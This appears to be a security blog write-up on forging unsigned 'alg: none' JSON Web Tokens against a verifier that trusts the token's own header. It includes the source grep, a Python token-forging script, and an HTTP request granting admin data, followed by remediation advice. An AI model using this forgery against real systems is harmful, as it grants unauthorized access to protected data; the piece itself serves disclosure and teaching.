alg=none: forging admin tokens against an unguarded verifier
A single missing allow-list turned a read-only API into full admin access. Here's the full chain — from a grep hit to 14 admin records returned.
Most authentication bugs aren't exotic. This one started with a single grep across the target's source and ended with the server happily handing back every admin record it had — because it trusted a value the attacker fully controls.
Finding the verifier
The first pass was boring on purpose: find every place the codebase touches a JSON Web Token. Two files lit up.
$ grep -rnE 'jwt\.verify|decodeJwt' src/
src/middleware/auth.ts:47: const claims = jwt.verify(token, key, { algorithms });
src/lib/token.ts:22: const { alg } = decodeProtectedHeader(token);The interesting part is line 47: the algorithms array isn't a constant. It's derived, a few lines up, from the token's own header.
Why this is exploitable
A JWT's header declares which algorithm signed it. If the verifier reads that header and then trusts it without an allow-list, an attacker can simply declare alg: none — the "unsecured JWT" mode — and ship a token with no signature at all.
The fix is one line: pass a fixed
algorithms: ['RS256']. The bug is also one line: passing whatever the request asked for.
alg=none in, 200 OK out
Building the token
With no signature required, the "exploit" is just string concatenation:
import base64, json
def b64(obj):
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "root", "role": "admin"}
# note the trailing dot: an empty signature segment
token = f"{b64(header)}.{b64(payload)}."
print(token)Proving impact
A read-only endpoint was enough to confirm the privilege jump:
POST /v1/admin/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJyb290In0.
HTTP/1.1 200 OK
{ "count": 14, "users": [ ... ] }Fourteen admin records, returned to a token nobody signed.
Takeaways
- Never let the request choose the verification algorithm.
- Pin algorithms to an explicit allow-list, and reject
noneeverywhere. - One
grepand one disciplined read of the verifier is worth more than a week of automated scanning.
The disclosure went out the same afternoon; the patch shipped within 48 hours.